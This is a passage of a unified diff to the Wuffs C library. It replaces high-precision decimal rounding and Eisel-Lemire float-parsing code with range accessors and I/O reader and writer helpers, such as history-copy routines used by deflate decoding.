r->min_incl; ++} + +- // Finish. +- h->num_digits = wx; +- wuffs_base__private_implementation__high_prec_dec__trim(h); ++static inline uint64_t // ++wuffs_private_impl__range_ii_u64__get_max_incl( ++ const wuffs_base__range_ii_u64* r) { ++ return r->max_incl; + } + +-static void // +-wuffs_base__private_implementation__high_prec_dec__lshift( +- wuffs_base__private_implementation__high_prec_dec* h, +- int32_t shift) { +- if (shift > 0) { +- while (shift > +WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__SHIFT__MAX_INCL) { +- wuffs_base__private_implementation__high_prec_dec__small_lshift( +- h, WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__SHIFT__MAX_INCL); +- shift -= WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__SHIFT__MAX_INCL; +- } +- wuffs_base__private_implementation__high_prec_dec__small_lshift( +- h, ((uint32_t)(+shift))); +- } else if (shift < 0) { +- while (shift < -WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__SHIFT__MAX_INCL) { +- wuffs_base__private_implementation__high_prec_dec__small_rshift( +- h, WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__SHIFT__MAX_INCL); +- shift += WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__SHIFT__MAX_INCL; +- } +- wuffs_base__private_implementation__high_prec_dec__small_rshift( +- h, ((uint32_t)(-shift))); +- } ++static inline uint64_t // ++wuffs_private_impl__range_ie_u64__get_min_incl( ++ const wuffs_base__range_ie_u64* r) { ++ return r->min_incl; + } + +-// -------- ++static inline uint64_t // ++wuffs_private_impl__range_ie_u64__get_max_excl( ++ const wuffs_base__range_ie_u64* r) { ++ return r->max_excl; ++} + +-// wuffs_base__private_implementation__high_prec_dec__round_etc rounds h's +-// number. For those functions that take an n argument, rounding produces at +-// most n digits (which is not necessarily at most n decimal places). Negative +-// n values are ignored, as well as any n greater than or equal to h's number +-// of digits. The etc__round_just_enough function implicitly chooses an n to +-// implement WUFFS_BASE__RENDER_NUMBER_FXX__JUST_ENOUGH_PRECISION. +-// +-// Preconditions: +-// - h is non-NULL. +-// - h->decimal_point is "not extreme". +-// +-// "Not extreme" means within +-// ±WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__DECIMAL_POINT__RANGE. ++// ---------------- Ranges and Rects (Utility) + +-static void // +-wuffs_base__private_implementation__high_prec_dec__round_down( +- wuffs_base__private_implementation__high_prec_dec* h, +- int32_t n) { +- if ((n < 0) || (h->num_digits <= (uint32_t)n)) { +- return; ++#define wuffs_base__utility__empty_range_ii_u32 wuffs_base__empty_range_ii_u32 ++#define wuffs_base__utility__empty_range_ie_u32 wuffs_base__empty_range_ie_u32 ++#define wuffs_base__utility__empty_range_ii_u64 wuffs_base__empty_range_ii_u64 ++#define wuffs_base__utility__empty_range_ie_u64 wuffs_base__empty_range_ie_u64 ++#define wuffs_base__utility__empty_rect_ii_u32 wuffs_base__empty_rect_ii_u32 ++#define wuffs_base__utility__empty_rect_ie_u32 wuffs_base__empty_rect_ie_u32 ++#define wuffs_base__utility__make_range_ii_u32 wuffs_base__make_range_ii_u32 ++#define wuffs_base__utility__make_range_ie_u32 wuffs_base__make_range_ie_u32 ++#define wuffs_base__utility__make_range_ii_u64 wuffs_base__make_range_ii_u64 ++#define wuffs_base__utility__make_range_ie_u64 wuffs_base__make_range_ie_u64 ++#define wuffs_base__utility__make_rect_ii_u32 wuffs_base__make_rect_ii_u32 ++#define wuffs_base__utility__make_rect_ie_u32 wuffs_base__make_rect_ie_u32 ++ ++// ---------------- I/O ++ ++static inline uint64_t // ++wuffs_private_impl__io__count_since(uint64_t mark, uint64_t index) { ++ if (index >= mark) { ++ return index - mark; + } +- h->num_digits = (uint32_t)(n); +- wuffs_base__private_implementation__high_prec_dec__trim(h); ++ return 0; + } + +-static void // +-wuffs_base__private_implementation__high_prec_dec__round_up( +- wuffs_base__private_implementation__high_prec_dec* h, +- int32_t n) { +- if ((n < 0) || (h->num_digits <= (uint32_t)n)) { +- return; ++// TODO: drop the "const" in "const uint8_t* ptr". Some though required about ++// the base.io_reader.since method returning a mutable "slice base.u8". ++#if defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wcast-qual" ++#endif ++static inline wuffs_base__slice_u8 // ++wuffs_private_impl__io__since(uint64_t mark, ++ uint64_t index, ++ const uint8_t* ptr) { ++ if (index >= mark) { ++ return wuffs_base__make_slice_u8(((uint8_t*)ptr) + mark, ++ ((size_t)(index - mark))); + } ++ return wuffs_base__empty_slice_u8(); ++} ++#if defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif + +- for (n--; n >= 0; n--) { +- if (h->digits[n] < 9) { +- h->digits[n]++; +- h->num_digits = (uint32_t)(n + 1); +- return; +- } +- } ++// -------- + +- // The number is all 9s. Change to a single 1 and adjust the decimal point. +- h->digits[0] = 1; +- h->num_digits = 1; +- h->decimal_point++; ++static inline void // ++wuffs_private_impl__io_reader__limit(const uint8_t** ptr_io2_r, ++ const uint8_t* iop_r, ++ uint64_t limit) { ++ if (((uint64_t)(*ptr_io2_r - iop_r)) > limit) { ++ *ptr_io2_r = iop_r + limit; ++ } + } + +-static void // +-wuffs_base__private_implementation__high_prec_dec__round_nearest( +- wuffs_base__private_implementation__high_prec_dec* h, +- int32_t n) { +- if ((n < 0) || (h->num_digits <= (uint32_t)n)) { +- return; ++static inline uint32_t // ++wuffs_private_impl__io_reader__limited_copy_u32_to_slice( ++ const uint8_t** ptr_iop_r, ++ const uint8_t* io2_r, ++ uint32_t length, ++ wuffs_base__slice_u8 dst) { ++ const uint8_t* iop_r = *ptr_iop_r; ++ size_t n = dst.len; ++ if (n > length) { ++ n = length; + } +- bool up = h->digits[n] >= 5; +- if ((h->digits[n] == 5) && ((n + 1) == ((int32_t)(h->num_digits)))) { +- up = h->truncated || // +- ((n > 0) && ((h->digits[n - 1] & 1) != 0)); ++ if (n > ((size_t)(io2_r - iop_r))) { ++ n = (size_t)(io2_r - iop_r); + } +- +- if (up) { +- wuffs_base__private_implementation__high_prec_dec__round_up(h, n); +- } else { +- wuffs_base__private_implementation__high_prec_dec__round_down(h, n); ++ if (n > 0) { ++ memmove(dst.ptr, iop_r, n); ++ *ptr_iop_r += n; + } ++ return (uint32_t)(n); + } + +-static void // +-wuffs_base__private_implementation__high_prec_dec__round_just_enough( +- wuffs_base__private_implementation__high_prec_dec* h, +- int32_t exp2, +- uint64_t mantissa) { +- // The magic numbers 52 and 53 in this function are because IEEE 754 double +- // precision has 52 mantissa bits. +- // +- // Let f be the floating point number represented by exp2 and mantissa (and +- // also the number in h): the number (mantissa * (2 ** (exp2 - 52))). +- // +- // If f is zero or a small integer, we can return early. +- if ((mantissa == 0) || +- ((exp2 < 53) && (h->decimal_point >= ((int32_t)(h->num_digits))))) { +- return; ++// wuffs_private_impl__io_reader__match7 returns whether the io_reader's ++// upcoming bytes start with the given prefix (up to 7 bytes long). It is ++// peek-like, not read-like, in that there are no side-effects. ++// ++// The low 3 bits of a hold the prefix length, n. ++// ++// The high 56 bits of a hold the prefix itself, in little-endian order. The ++// first prefix byte is in bits 8..=15, the second prefix byte is in bits ++// 16..=23, etc. The high (8 * (7 - n)) bits are ignored. ++// ++// There are three possible return values: ++// - 0 means success. ++// - 1 means inconclusive, equivalent to "$short read". ++// - 2 means failure. ++static inline uint32_t // ++wuffs_private_impl__io_reader__match7(const uint8_t* iop_r, ++ const uint8_t* io2_r, ++ wuffs_base__io_buffer* r, ++ uint64_t a) { ++ uint32_t n = a & 7; ++ a >>= 8; ++ if ((io2_r - iop_r) >= 8) { ++ uint64_t x = wuffs_base__peek_u64le__no_bounds_check(iop_r); ++ uint32_t shift = 8 * (8 - n); ++ return ((a << shift) == (x << shift)) ? 0 : 2; ++ } ++ for (; n > 0; n--) { ++ if (iop_r >= io2_r) { ++ return (r && r->meta.closed) ? 2 : 1; ++ } else if (*iop_r != ((uint8_t)(a))) { ++ return 2; ++ } ++ iop_r++; ++ a >>= 8; + } ++ return 0; ++} + +- // The smallest normal f has an exp2 of -1022 and a mantissa of (1 << 52). +- // Subnormal numbers have the same exp2 but a smaller mantissa. +- static const int32_t min_incl_normal_exp2 = -1022; +- static const uint64_t min_incl_normal_mantissa = 0x0010000000000000ul; ++static inline wuffs_base__io_buffer* // ++wuffs_private_impl__io_reader__set(wuffs_base__io_buffer* b, ++ const uint8_t** ptr_iop_r, ++ const uint8_t** ptr_io0_r, ++ const uint8_t** ptr_io1_r, ++ const uint8_t** ptr_io2_r, ++ wuffs_base__slice_u8 data, ++ uint64_t history_position) { ++ b->data = data; ++ b->meta.wi = data.len; ++ b->meta.ri = 0; ++ b->meta.pos = history_position; ++ b->meta.closed = false; + +- // Compute lower and upper bounds such that any number between them (possibly +- // inclusive) will round to f. First, the lower bound. Our number f is: +- // ((mantissa + 0) * (2 ** ( exp2 - 52))) +- // +- // The next lowest floating point number is: +- // ((mantissa - 1) * (2 ** ( exp2 - 52))) +- // unless (mantissa - 1) drops the (1 << 52) bit and exp2 is not the +- // min_incl_normal_exp2. Either way, call it: +- // ((l_mantissa) * (2 ** (l_exp2 - 52))) +- // +- // The lower bound is halfway between them (noting that 52 became 53): +- // (((2 * l_mantissa) + 1) * (2 ** (l_exp2 - 53))) +- int32_t l_exp2 = exp2; +- uint64_t l_mantissa = mantissa - 1; +- if ((exp2 > min_incl_normal_exp2) && (mantissa <= min_incl_normal_mantissa)) { +- l_exp2 = exp2 - 1; +- l_mantissa = (2 * mantissa) - 1; +- } +- wuffs_base__private_implementation__high_prec_dec lower; +- wuffs_base__private_implementation__high_prec_dec__assign( +- &lower, (2 * l_mantissa) + 1, false); +- wuffs_base__private_implementation__high_prec_dec__lshift(&lower, +- l_exp2 - 53); ++ *ptr_iop_r = data.ptr; ++ *ptr_io0_r = data.ptr; ++ *ptr_io1_r = data.ptr; ++ *ptr_io2_r = data.ptr + data.len; + +- // Next, the upper bound. Our number f is: +- // ((mantissa + 0) * (2 ** (exp2 - 52))) +- // +- // The next highest floating point number is: +- // ((mantissa + 1) * (2 ** (exp2 - 52))) +- // +- // The upper bound is halfway between them (noting that 52 became 53): +- // (((2 * mantissa) + 1) * (2 ** (exp2 - 53))) +- wuffs_base__private_implementation__high_prec_dec upper; +- wuffs_base__private_implementation__high_prec_dec__assign( +- &upper, (2 * mantissa) + 1, false); +- wuffs_base__private_implementation__high_prec_dec__lshift(&upper, exp2 - 53); ++ return b; ++} + +- // The lower and upper bounds are possible outputs only if the original +- // mantissa is even, so that IEEE round-to-even would round to the original +- // mantissa and not its neighbors. +- bool inclusive = (mantissa & 1) == 0; ++// -------- + +- // As we walk the digits, we want to know whether rounding up would fall +- // within the upper bound. This is tracked by upper_delta: +- // - When -1, the digits of h and upper are the same so far. +- // - When +0, we saw a difference of 1 between h and upper on a previous +- // digit and subsequently only 9s for h and 0s for upper. Thus, rounding +- // up may fall outside of the bound if !inclusive. +- // - When +1, the difference is greater than 1 and we know that rounding up +- // falls within the bound. +- // +- // This is a state machine with three states. The numerical value for each +- // state (-1, +0 or +1) isn't important, other than their order. +- int upper_delta = -1; ++static inline uint64_t // ++wuffs_private_impl__io_writer__copy_from_slice(uint8_t** ptr_iop_w, ++ uint8_t* io2_w, ++ wuffs_base__slice_u8 src) { ++ uint8_t* iop_w = *ptr_iop_w; ++ size_t n = src.len; ++ if (n > ((size_t)(io2_w - iop_w))) { ++ n = (size_t)(io2_w - iop_w); ++ } ++ if (n > 0) { ++ memmove(iop_w, src.ptr, n); ++ *ptr_iop_w += n; ++ } ++ return (uint64_t)(n); ++} + +- // We can now figure out the shortest number of digits required. Walk the +- // digits until h has distinguished itself from lower or upper. +- // +- // The zi and zd variables are indexes and digits, for z in l (lower), h (the +- // number) and u (upper). ++static inline void // ++wuffs_private_impl__io_writer__limit(uint8_t** ptr_io2_w, ++ uint8_t* iop_w, ++ uint64_t limit) { ++ if (((uint64_t)(*ptr_io2_w - iop_w)) > limit) { ++ *ptr_io2_w = iop_w + limit; ++ } ++} ++ ++static inline uint32_t // ++wuffs_private_impl__io_writer__limited_copy_u32_from_history( ++ uint8_t** ptr_iop_w, ++ uint8_t* io0_w, ++ uint8_t* io2_w, ++ uint32_t length, ++ uint32_t distance) { ++ if (!distance) { ++ return 0; ++ } ++ uint8_t* p = *ptr_iop_w; ++ if ((size_t)(p - io0_w) < (size_t)(distance)) { ++ return 0; ++ } ++ uint8_t* q = p - distance; ++ size_t n = (size_t)(io2_w - p); ++ if ((size_t)(length) > n) { ++ length = (uint32_t)(n); ++ } else { ++ n = (size_t)(length); ++ } ++ // TODO: unrolling by 3 seems best for the std/deflate benchmarks, but that ++ // is mostly because 3 is the minimum length for the deflate format. This ++ // function implementation shouldn't overfit to that one format. Perhaps the ++ // limited_copy_u32_from_history Wuffs method should also take an unroll hint ++ // argument, and the cgen can look if that argument is the constant ++ // expression '3'. + // +- // The lower, h and upper numbers may have their decimal points at different +- // places. In this case, upper is the longest, so we iterate ui starting from +- // 0 and iterate li and hi starting from either 0 or -1. +- int32_t ui = 0; +- for (;; ui++) { +- // Calculate hd, the middle number's digit. +- int32_t hi = ui - upper.decimal_point + h->decimal_point; +- if (hi >= ((int32_t)(h->num_digits))) { +- break; +- } +- uint8_t hd = (((uint32_t)hi) < h->num_digits) ? h->digits[hi] : 0; ++ // See also wuffs_private_impl__io_writer__limited_copy_u32_from_history_fast ++ // below. ++ for (; n >= 3; n -= 3) { ++ *p++ = *q++; ++ *p++ = *q++; ++ *p++ = *q++; ++ } ++ for (; n; n--) { ++ *p++ = *q++; ++ } ++ *ptr_iop_w = p; ++ return length; ++} + +- // Calculate ld, the lower bound's digit. +- int32_t li = ui - upper.decimal_point + lower.decimal_point; +- uint8_t ld = (((uint32_t)li) < lower.num_digits) ? lower.digits[li] : 0; ++// wuffs_private_impl__io_writer__limited_copy_u32_from_history_fast is like ++// the wuffs_private_impl__io_writer__limited_copy_u32_from_history function ++// above, but has stronger pre-conditions. ++// ++// The caller needs to prove that: ++// - length >= 1 ++// - length <= (io2_w - *ptr_iop_w) ++// - distance >= 1 ++// - distance <= (*ptr_iop_w - io0_w) ++static inline uint32_t // ++wuffs_private_impl__io_writer__limited_copy_u32_from_history_fast( ++ uint8_t** ptr_iop_w, ++ uint8_t* io0_w, ++ uint8_t* io2_w, ++ uint32_t length, ++ uint32_t distance) { ++ uint8_t* p = *ptr_iop_w; ++ uint8_t* q = p - distance; ++ uint32_t n = length; ++ for (; n >= 3; n -= 3) { ++ *p++ = *q++; ++ *p++ = *q++; ++ *p++ = *q++; ++ } ++ for (; n; n--) { ++ *p++ = *q++; ++ } ++ *ptr_iop_w = p; ++ return length; ++} + +- // We can round down (truncate) if lower has a different digit than h or if +- // lower is inclusive and is exactly the result of rounding down (i.e. we +- // have reached the final digit of lower). +- bool can_round_down = +- (ld != hd) || // +- (inclusive && ((li + 1) == ((int32_t)(lower.num_digits)))); ++// wuffs_private_impl__io_writer__limited_copy_u32_from_history_fast_return_cusp ++// is like the ++// wuffs_private_impl__io_writer__limited_copy_u32_from_history_fast function, ++// but also returns the cusp: a byte pair (as a u16le) being the last byte of ++// and next byte after the copied history. ++// ++// For example, if history was [10, 11, 12, 13, 14, 15, 16, 17, 18] then: ++// - copying l=3, d=8 produces [11, 12, 13] and the cusp is (13, 14). ++// - copying l=3, d=2 produces [17, 18, 17] and the cusp is (17, 18). ++// ++// The caller needs to prove that: ++// - length >= 1 ++// - length <= (io2_w - *ptr_iop_w) ++// - distance >= 1 ++// - distance <= (*ptr_iop_w - io0_w) ++static inline uint32_t // ++wuffs_private_impl__io_writer__limited_copy_u32_from_history_fast_return_cusp( ++ uint8_t** ptr_iop_w, ++ uint8_t* io0_w, ++ uint8_t* io2_w, ++ uint32_t length, ++ uint32_t distance) { ++ uint8_t* p = *ptr_iop_w; ++ uint8_t* q = p - distance; ++ uint32_t n = length; ++ for (; n >= 3; n -= 3) { ++ *p++ = *q++; ++ *p++ = *q++; ++ *p++ = *q++; ++ } ++ for (; n; n--) { ++ *p++ = *q++; ++ } ++ *ptr_iop_w = p; ++ return (uint32_t)wuffs_base__peek_u16le__no_bounds_check(q - 1); ++} + +- // Calculate ud, the upper bound's digit, and update upper_delta. +- uint8_t ud = (((uint32_t)ui) < upper.num_digits) ? upper.digits[ui] : 0; +- if (upper_delta < 0) { +- if ((hd + 1) < ud) { +- // For example: +- // h = 12345??? +- // upper = 12347??? +- upper_delta = +1; +- } else if (hd != ud) { +- // For example: +- // h = 12345??? +- // upper = 12346??? +- upper_delta = +0; +- } +- } else if (upper_delta == 0) { +- if ((hd != 9) || (ud != 0)) { +- // For example: +- // h = 1234598? +- // upper = 1234600? +- upper_delta = +1; +- } ++// wuffs_private_impl__io_writer__limited_copy_u32_from_history_8_byte_chunks_distance_1_fast ++// copies the previous byte (the one immediately before *ptr_iop_w), copying 8 ++// byte chunks at a time. Each chunk contains 8 repetitions of the same byte. ++// ++// In terms of number of bytes copied, length is rounded up to a multiple of 8. ++// As a special case, a zero length rounds up to 8 (even though 0 is already a ++// multiple of 8), since there is always at least one 8 byte chunk copied. ++// ++// In terms of advancing *ptr_iop_w, length is not rounded up. ++// ++// The caller needs to prove that: ++// - length >= 1 ++// - (length + 8) <= (io2_w - *ptr_iop_w) ++// - distance == 1 ++// - distance <= (*ptr_iop_w - io0_w) ++static inline uint32_t // ++wuffs_private_impl__io_writer__limited_copy_u32_from_history_8_byte_chunks_distance_1_fast( ++ uint8_t** ptr_iop_w, ++ uint8_t* io0_w, ++ uint8_t* io2_w, ++ uint32_t length, ++ uint32_t distance) { ++ uint8_t* p = *ptr_iop_w; ++ uint64_t x = p[-1]; ++ x |= x << 8; ++ x |= x << 16; ++ x |= x << 32; ++ uint32_t n = length; ++ while (1) { ++ wuffs_base__poke_u64le__no_bounds_check(p, x); ++ if (n <= 8) { ++ p += n; ++ break; + } ++ p += 8; ++ n -= 8; ++ } ++ *ptr_iop_w = p; ++ return length; ++} + +- // We can round up if upper has a different digit than h and either upper +- // is inclusive or upper is bigger than the result of rounding up. +- bool can_round_up = +- (upper_delta > 0) || // +- ((upper_delta == 0) && // +- (inclusive || ((ui + 1) < ((int32_t)(upper.num_digits))))); +- +- // If we can round either way, round to nearest. If we can round only one +- // way, do it. If we can't round, continue the loop. +- if (can_round_down) { +- if (can_round_up) { +- wuffs_base__private_implementation__high_prec_dec__round_nearest( +- h, hi + 1); +- return; +- } else { +- wuffs_base__private_implementation__high_prec_dec__round_down(h, +- hi + 1); +- return; +- } +- } else { +- if (can_round_up) { +- wuffs_base__private_implementation__high_prec_dec__round_up(h, hi + 1); +- return; +- } ++// wuffs_private_impl__io_writer__limited_copy_u32_from_history_8_byte_chunks_distance_1_fast_return_cusp ++// copies the previous byte (the one immediately before *ptr_iop_w), copying 8 ++// byte chunks at a time. Each chunk contains 8 repetitions of the same byte. ++// It also returns the cusp: a byte pair (as a u16le) being the last byte of ++// and next byte after the copied history. ++// ++// In terms of number of bytes copied, length is rounded up to a multiple of 8. ++// As a special case, a zero length rounds up to 8 (even though 0 is already a ++// multiple of 8), since there is always at least one 8 byte chunk copied. ++// ++// In terms of advancing *ptr_iop_w, length is not rounded up. ++// ++// The caller needs to prove that: ++// - length >= 1 ++// - (length + 8) <= (io2_w - *ptr_iop_w) ++// - distance == 1 ++// - distance <= (*ptr_iop_w - io0_w) ++static inline uint32_t // ++wuffs_private_impl__io_writer__limited_copy_u32_from_history_8_byte_chunks_distance_1_fast_return_cusp( ++ uint8_t** ptr_iop_w, ++ uint8_t* io0_w, ++ uint8_t* io2_w, ++ uint32_t length, ++ uint32_t distance) { ++ uint8_t* p = *ptr_iop_w; ++ uint8_t* q = p - distance; ++ uint64_t x = p[-1]; ++ x |= x << 8; ++ x |= x << 16; ++ x |= x << 32; ++ uint32_t n = length; ++ while (1) { ++ wuffs_base__poke_u64le__no_bounds_check(p, x); ++ if (n <= 8) { ++ p += n; ++ q += n; ++ break; + } ++ p += 8; ++ q += 8; ++ n -= 8; + } ++ *ptr_iop_w = p; ++ return (uint32_t)wuffs_base__peek_u16le__no_bounds_check(q - 1); + } + +-// -------- +- +-// wuffs_base__private_implementation__parse_number_f64_eisel_lemire produces +-// the IEEE 754 double-precision value for an exact mantissa and base-10 +-// exponent. For example: +-// - when parsing "12345.678e+02", man is 12345678 and exp10 is -1. +-// - when parsing "-12", man is 12 and exp10 is 0. Processing the leading +-// minus sign is the responsibility of the caller, not this function. ++// wuffs_private_impl__io_writer__limited_copy_u32_from_history_8_byte_chunks_fast ++// is like the ++// wuffs_private_impl__io_writer__limited_copy_u32_from_history_fast function ++// above, but copies 8 byte chunks at a time. + // +-// On success, it returns a non-negative int64_t such that the low 63 bits hold +-// the 11-bit exponent and 52-bit mantissa. ++// In terms of number of bytes copied, length is rounded up to a multiple of 8. ++// As a special case, a zero length rounds up to 8 (even though 0 is already a ++// multiple of 8), since there is always at least one 8 byte chunk copied. + // +-// On failure, it returns a negative value. ++// In terms of advancing *ptr_iop_w, length is not rounded up. + // +-// The algorithm is based on an original idea by Michael Eisel that was refined +-// by Daniel Lemire. See +-// https://lemire.me/blog/2020/03/10/fast-float-parsing-in-practice/ +-// and +-// https://nigeltao.github.io/blog/2020/eisel-lemire.html ++// The caller needs to prove that: ++// - length >= 1 ++// - (length + 8) <= (io2_w - *ptr_iop_w) ++// - distance >= 8 ++// - distance <= (*ptr_iop_w - io0_w) ++static inline uint32_t // ++wuffs_private_impl__io_writer__limited_copy_u32_from_history_8_byte_chunks_fast( ++ uint8_t** ptr_iop_w, ++ uint8_t* io0_w, ++ uint8_t* io2_w, ++ uint32_t length, ++ uint32_t distance) { ++ uint8_t* p = *ptr_iop_w; ++ uint8_t* q = p - distance; ++ uint32_t n = length; ++ while (1) { ++ memcpy(p, q, 8); ++ if (n <= 8) { ++ p += n; ++ break; ++ } ++ p += 8; ++ q += 8; ++ n -= 8; ++ } ++ *ptr_iop_w = p; ++ return length; ++} ++ ++// wuffs_private_impl__io_writer__limited_copy_u32_from_history_8_byte_chunks_fast_return_cusp ++// is like the ++// wuffs_private_impl__io_writer__limited_copy_u32_from_history_fast function ++// above, but copies 8 byte chunks at a time. It also returns the cusp: a byte ++// pair (as a u16le) being the last byte of and next byte after the copied ++// history. + // +-// Preconditions: +-// - man is non-zero. +-// - exp10 is in the range [-307 ..= 288], the same range of the +-// wuffs_base__private_implementation__powers_of_10 array. ++// In terms of number of bytes copied, length is rounded up to a multiple of 8. ++// As a special case, a zero length rounds up to 8 (even though 0 is already a ++// multiple of 8), since there is always at least one 8 byte chunk copied. + // +-// The exp10 range (and the fact that man is in the range [1 ..= UINT64_MAX], +-// approximately [1 ..= 1.85e+19]) means that (man * (10 ** exp10)) is in the +-// range [1e-307 ..= 1.85e+307]. This is entirely within the range of normal +-// (neither subnormal nor non-finite) f64 values: DBL_MIN and DBL_MAX are +-// approximately 2.23e–308 and 1.80e+308. +-static int64_t // +-wuffs_base__private_implementation__parse_number_f64_eisel_lemire( +- uint64_t man, +- int32_t exp10) { +- // Look up the (possibly truncated) base-2 representation of (10 ** exp10). +- // The look-up table was constructed so that it is already normalized: the +- // table entry's mantissa's MSB (most significant bit) is on. +- const uint64_t* po10 = +- &wuffs_base__private_implementation__powers_of_10[exp10 + 307][0]; ++// In terms of advancing *ptr_iop_w, length is not rounded up. ++// ++// The caller needs to prove that: ++// - length >= 1 ++// - (length + 8) <= (io2_w - *ptr_iop_w) ++// - distance >= 8 ++// - distance <= (*ptr_iop_w - io0_w) ++static inline uint32_t // ++wuffs_private_impl__io_writer__limited_copy_u32_from_history_8_byte_chunks_fast_return_cusp( ++ uint8_t** ptr_iop_w, ++ uint8_t* io0_w, ++ uint8_t* io2_w, ++ uint32_t length, ++ uint32_t distance) { ++ uint8_t* p = *ptr_iop_w; ++ uint8_t* q = p - distance; ++ uint32_t n = length; ++ while (1) { ++ memcpy(p, q, 8); ++ if (n <= 8) { ++ p += n; ++ q += n; ++ break; ++ } ++ p += 8; ++ q += 8; ++ n -= 8; ++ } ++ *ptr_iop_w = p; ++ return (uint32_t)wuffs_base__peek_u16le__no_bounds_check(q - 1); ++} + +- // Normalize the man argument. The (man != 0) precondition means that a +- // non-zero bit exists. +- uint32_t clz = wuffs_base__count_leading_zeroes_u64(man); +- man <<= clz; ++static inline uint32_t // ++wuffs_private_impl__io_writer__limited_copy_u32_from_reader( ++ uint8_t** ptr_iop_w, ++ uint8_t* io2_w, ++ uint32_t length, ++ const uint8_t** ptr_iop_r, ++ const uint8_t* io2_r) { ++ uint8_t* iop_w = *ptr_iop_w; ++ size_t n = length; ++ if (n > ((size_t)(io2_w - iop_w))) { ++ n = (size_t)(io2_w - iop_w); ++ } ++ const uint8_t* iop_r = *ptr_iop_r; ++ if (n > ((size_t)(io2_r - iop_r))) { ++ n = (size_t)(io2_r - iop_r); ++ } ++ if (n > 0) { ++ memmove(iop_w, iop_r, n); ++ *ptr_iop_w += n; ++ *ptr_iop_r += n; ++ } ++ return (uint32_t)(n); ++} + +- // Calculate the return value's base-2 exponent. We might tweak it by ±1 +- // later, but its initial value comes from a linear scaling of exp10, +- // converting from power-of-10 to power-of-2, and adjusting by clz. +- // +- // The magic constants are: +- // - 1087 = 1023 + 64. The 1023 is the f64 exponent bias. The 64 is because +- // the look-up table uses 64-bit mantissas. +- // - 217706 is such that the ratio 217706 / 65536 ≈ 3.321930 is close enough +- // (over the practical range of exp10) to log(10) / log(2) ≈ 3.321928. +- // - 65536 = 1<<16 is arbitrary but a power of 2, so division is a shift. +- // +- // Equality of the linearly-scaled value and the actual power-of-2, over the +- // range of exp10 arguments that this function accepts, is confirmed by +- // script/print-mpb-powers-of-10.go +- uint64_t ret_exp2 = +- ((uint64_t)(((217706 * exp10) >> 16) + 1087)) - ((uint64_t)clz); ++static inline uint32_t // ++wuffs_private_impl__io_writer__limited_copy_u32_from_slice( ++ uint8_t** ptr_iop_w, ++ uint8_t* io2_w, ++ uint32_t length, ++ wuffs_base__slice_u8 src) { ++ uint8_t* iop_w = *ptr_iop_w; ++ size_t n = src.len; ++ if (n > length) { ++ n = length; ++ } ++ if (n > ((size_t)(io2_w - iop_w))) { ++ n = (size_t)(io2_w - iop_w); ++ } ++ if (n > 0) { ++ memmove(iop_w, src.ptr, n); ++ *ptr_iop_w += n; ++ } ++ return (uint32_t)(n); ++} + +- // Multiply the two mantissas. Normalization means that both mantissas are at +- // least (1<<63), so the 128-bit product must be at least (1<<126). The high +- // 64 bits of the product, x_hi, must therefore be at least (1<<62). +- // +- // As a consequence, x_hi has either 0 or 1 leading zeroes. Shifting x_hi +- // right by either 9 or 10 bits (depending on x_hi's MSB) will therefore +- // leave the top 10 MSBs (bits 54 ..= 63) off and the 11th MSB (bit 53) on. +- wuffs_base__multiply_u64__output x = wuffs_base__multiply_u64(man, po10[1]); +- uint64_t x_hi = x.hi; +- uint64_t x_lo = x.lo; ++static inline wuffs_base__io_buffer* // ++wuffs_private_impl__io_writer__set(wuffs_base__io_buffer* b, ++ uint8_t** ptr_iop_w, ++ uint8_t** ptr_io0_w, ++ uint8_t** ptr_io1_w, ++ uint8_t** ptr_io2_w, ++ wuffs_base__slice_u8 data, ++ uint64_t history_position) { ++ b->data = data; ++ b->meta.wi = 0; ++ b->meta.ri = 0; ++ b->meta.pos = history_position; ++ b->meta.closed = false; + +- // Before we shift right by at least 9 bits, recall that the look-up table +- // entry was possibly truncated. We have so far only calculated a lower bound +- // for the product (man * e), where e is (10 ** exp10). The upper bound would +- // add a further (man * 1) to the 128-bit product, which overflows the lower +- // 64-bit limb if ((x_lo + man) < man). +- // +- // If overflow occurs, that adds 1 to x_hi. Since we're about to shift right +- // by at least 9 bits, that carried 1 can be ignored unless the higher 64-bit +- // limb's low 9 bits are all on. +- // +- // For example, parsing "9999999999999999999" will take the if-true branch +- // here, since: +- // - x_hi = 0x4563918244F3FFFF +- // - x_lo = 0x8000000000000000 +- // - man = 0x8AC7230489E7FFFF +- if (((x_hi & 0x1FF) == 0x1FF) && ((x_lo + man) < man)) { +- // Refine our calculation of (man * e). Before, our approximation of e used +- // a "low resolution" 64-bit mantissa. Now use a "high resolution" 128-bit +- // mantissa. We've already calculated x = (man * bits_0_to_63_incl_of_e). +- // Now calculate y = (man * bits_64_to_127_incl_of_e). +- wuffs_base__multiply_u64__output y = wuffs_base__multiply_u64(man, po10[0]); +- uint64_t y_hi = y.hi; +- uint64_t y_lo = y.lo; ++ *ptr_iop_w = data.ptr; ++ *ptr_io0_w = data.ptr; ++ *ptr_io1_w = data.ptr; ++ *ptr_io2_w = data.ptr + data.len; + +- // Merge the 128-bit x and 128-bit y, which overlap by 64 bits, to +- // calculate the 192-bit product of the 64-bit man by the 128-bit e. +- // As we exit this if-block, we only care about the high 128 bits +- // (merged_hi and merged_lo) of that 192-bit product. +- // +- // For example, parsing "1.234e-45" will take the if-true branch here, +- // since: +- // - x_hi = 0x70B7E3696DB29FFF +- // - x_lo = 0xE040000000000000 +- // - y_hi = 0x33718BBEAB0E0D7A +- // - y_lo = 0xA880000000000000 +- uint64_t merged_hi = x_hi; +- uint64_t merged_lo = x_lo + y_hi; +- if (merged_lo < x_lo) { +- merged_hi++; // Carry the overflow bit. +- } ++ return b; ++} + +- // The "high resolution" approximation of e is still a lower bound. Once +- // again, see if the upper bound is large enough to produce a different +- // result. This time, if it does, give up instead of reaching for an even +- // more precise approximation to e. +- // +- // This three-part check is similar to the two-part check that guarded the +- // if block that we're now in, but it has an extra term for the middle 64 +- // bits (checking that adding 1 to merged_lo would overflow). +- // +- // For example, parsing "5.9604644775390625e-8" will take the if-true +- // branch here, since: +- // - merged_hi = 0x7FFFFFFFFFFFFFFF +- // - 